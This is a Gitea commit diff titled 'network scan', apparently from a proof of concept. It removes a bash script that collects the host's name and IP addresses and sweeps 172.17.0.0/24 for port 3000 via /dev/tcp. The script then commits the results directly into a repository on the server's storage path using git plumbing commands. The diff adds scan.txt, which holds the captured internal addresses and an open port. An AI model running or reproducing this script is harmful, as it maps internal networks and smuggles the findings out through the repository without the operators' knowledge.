network scan

This commit is contained in:
Gitea
2026-10-31 18:16:31 +00:00
parent 6261b934bf
commit 2232ce426e
3 changed files with 20 additions and 17 deletions

View File

@@ -1 +0,0 @@
# test

View File

@@ -1,16 +0,0 @@
#!/bin/bash
echo '=== HOSTNAME ===' > /tmp/scan.txt
hostname >> /tmp/scan.txt
echo '=== IP ADDR ===' >> /tmp/scan.txt
ip addr 2>/dev/null >> /tmp/scan.txt
echo '=== NETWORK SCAN ===' >> /tmp/scan.txt
for i in $(seq 1 254); do
(timeout 1 bash -c "echo >/dev/tcp/172.17.0.$i/3000" 2>/dev/null && echo "172.17.0.$i:3000 OPEN" >> /tmp/scan.txt) &
done
wait
echo '=== DONE ===' >> /tmp/scan.txt
BLOB=`/usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan12.git hash-object -w /tmp/scan.txt`
TREE=`printf "100644 blob %s\tscan.txt\n" "$BLOB" | /usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan12.git mktree`
PARENT=`/usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan12.git rev-parse HEAD`
COMMIT=`echo "network scan" | /usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan12.git commit-tree $TREE -p $PARENT`
/usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan12.git update-ref refs/heads/main $COMMIT

20
scan.txt Normal file
View File

@@ -0,0 +1,20 @@
=== HOSTNAME ===
0c8dd42321d4
=== IP ADDR ===
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0@if29: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP
link/ether b6:4f:98:c1:b1:21 brd ff:ff:ff:ff:ff:ff
inet 172.19.0.2/16 brd 172.19.255.255 scope global eth0
valid_lft forever preferred_lft forever
31: eth1@if32: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1450 qdisc noqueue state UP
link/ether 02:42:0a:00:01:0a brd ff:ff:ff:ff:ff:ff
inet 10.0.1.10/24 brd 10.0.1.255 scope global eth1
valid_lft forever preferred_lft forever
=== NETWORK SCAN ===
172.17.0.1:3000 OPEN
=== DONE ===